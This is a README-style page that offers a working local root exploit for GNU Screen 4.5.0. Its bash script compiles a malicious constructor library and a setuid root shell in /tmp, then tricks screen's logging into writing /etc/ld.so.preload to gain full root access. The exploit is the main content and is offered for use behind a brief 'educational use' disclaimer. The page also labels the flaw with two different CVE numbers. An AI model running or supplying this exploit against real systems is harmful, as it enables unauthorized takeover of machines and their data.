GNU Screen 4.5.0 Local Privilege Escalation

### GNU Screen 4.5.0 Local Privilege Escalation Exploit (CVE-2017-5618)

## ? ### GNU Screen 4.5.0 Local Privilege Escalation Exploit (CVE-2017-5618)

## ? Overview
Local privilege escalation exploit for GNU Screen 4.5.0 that hijacks shared library loading to gain **root access** via `ld.so.preload` manipulation.


## ? Technical Details

Vulnerability: CVE-2017-5618

Type: Shared Library Hijacking via ld.so.preload

Affected: GNU Screen 4.5.0 exclusively

Fixed in: GNU Screen 4.6.0+



## ? The Vulnerability Circus


CVE: 2017-5618 ?

***The Bug: Screen 4.5.0 creates log files with DANGEROUS permissions***

***The Magic: We trick it into creating /etc/ld.so.preload that loads our malicious library***

***The Payload: Instant root shell! ?***



## Script ??

```bash
#!/bin/bash
# exploit.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# CVE-2016-8781
# tested on debian jessie (8.6) with screen 4.5.
# 0xHackers - Darke
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
echo "[+] Triggering..."
screen -ls
/tmp/rootshell

```
## Screenshots

> Checking Vulnerable Screen Version.



> Creating The File And Giving Required Permissions.



> Root Access Gained.


> Root shell achieved - full system control

## ?? Warning Label


FOR EDUCATIONAL USE ONLY! ??
Don't be a script kiddie - use this only on systems you own or have explicit permission to test.

## Tested On
TryHackMe KOTH Room - Food